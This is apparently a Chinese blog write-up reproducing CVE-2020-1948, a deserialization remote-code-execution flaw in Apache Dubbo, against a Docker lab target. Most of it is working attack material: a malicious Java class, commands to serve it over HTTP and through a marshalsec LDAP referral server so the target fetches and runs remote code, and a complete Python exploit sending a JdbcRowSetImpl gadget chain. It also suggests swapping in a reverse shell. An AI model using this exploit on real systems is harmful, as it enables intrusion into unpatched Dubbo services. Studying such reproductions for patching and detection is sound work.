漏洞编号
CVE-2020-1948
靶机环境
docker环境 dsolab/dubbo:cve-2020-1948,启动镜像
docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d
![](https://i-blog.csdnimg.cn/blog_migrate/20fe186db9503fcd4b5bf25855d632b4.png)
0x00 漏洞简介
2020年6月23日,Apache Dubbo公布了一个反序列化导致的远程代码执行漏洞(CVE-2020-1948)。
Apache Dubbo 是一款高性能Java RPC框架。漏洞存在于 Apache Dubbo默认使用的反序列化工具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常会带有无法识别的服务名或方法名,以及一些恶意的参数负载。当恶意参数被反序列化时,达到代码执行的目的。
0x01 漏洞影响
2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)
0x02 漏洞限制
暂无
0x03 复现过程
漏洞复现
准备exp文件,编写exp.java如下
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exp {
public exp(){
try {
java.lang.Runtime.getRuntime().exec("touch /tmp/success");
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}
编译java文件
![](https://i-blog.csdnimg.cn/blog_migrate/773c48963d4d1112c1bdf37bf40f671f.png)
使用python在该目录启动HttpServer
![](https://i-blog.csdnimg.cn/blog_migrate/ffdb35ea425d3dc9e8d24765b7417fa0.png)
下载marshalsec-jar
git clone https://github.com/RandomRobbieBF/marshalsec-jar.git
使用marshalsec-jar启动LDAP代理服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.127.129/#exp 777
![](https://i-blog.csdnimg.cn/blog_migrate/b30a244e9660a1aca93cf95f3e7b842e.png)
执行python exp
python3 exp.py 192.168.127.129 12345 ldap://192.168.127.129:777/exp
![](https://i-blog.csdnimg.cn/blog_migrate/95baa9bb3a09e430aca08e0fcb03a1d5.png)
可以看到通过LDAP代理重定向去访问了之前编译的exp.class文件
![](https://i-blog.csdnimg.cn/blog_migrate/66959a3d0f262474cb357d549ea2c6b2.png)
![](https://i-blog.csdnimg.cn/blog_migrate/fa423cae02dd6a573e237cf6d9d8c1c8.png)
进入容器,可以看到我们在/tmp目录下成功创建了success文件,说明漏洞利用成功
![](https://i-blog.csdnimg.cn/blog_migrate/cff5f6ab009e50846cdf28bfec6cb555.png)
可以尝试修改exp.py命令执行,比如反弹shell或者用dnslog探查漏洞。
PoC/Exp
# -*- coding: utf-8 -*-
import sys
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')